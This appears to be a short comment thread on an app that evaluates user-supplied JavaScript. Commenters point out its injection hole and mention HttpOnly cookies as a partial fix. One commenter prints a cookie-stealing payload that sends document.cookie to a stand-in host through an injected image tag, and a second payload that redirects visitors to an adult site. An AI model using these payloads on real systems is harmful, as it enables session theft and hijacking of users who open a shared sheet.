4 ms·
document.write('<img src="somedomain.com/?'+document.cookie);
by araskoktas 13y ago
document.write('<img src="somedomain.com/?'+document.cookie);
- genericacct 13y agohave you heard of the HttpOnly attribute for cookies?
- araskoktas 13y agogood, send HttpOnly cookies and solve that problem. window.location.href='http://www.redt*be.com'; http://www.redt*be.com'; -- if you think evaluating JS code, as-is passed by the client is a good idea go ahead.
- genericacct 13y agoI most definitely will. and if my users want to browse your favorite porn site i don't see why i shouldn't let them..
- cosarara97 13y agoBut you'd need to send a spreadsheet with that to the victim.
- araskoktas 13y agoWell yes, the idea is the sheet being open to a group of people for collaboration or whatever reason.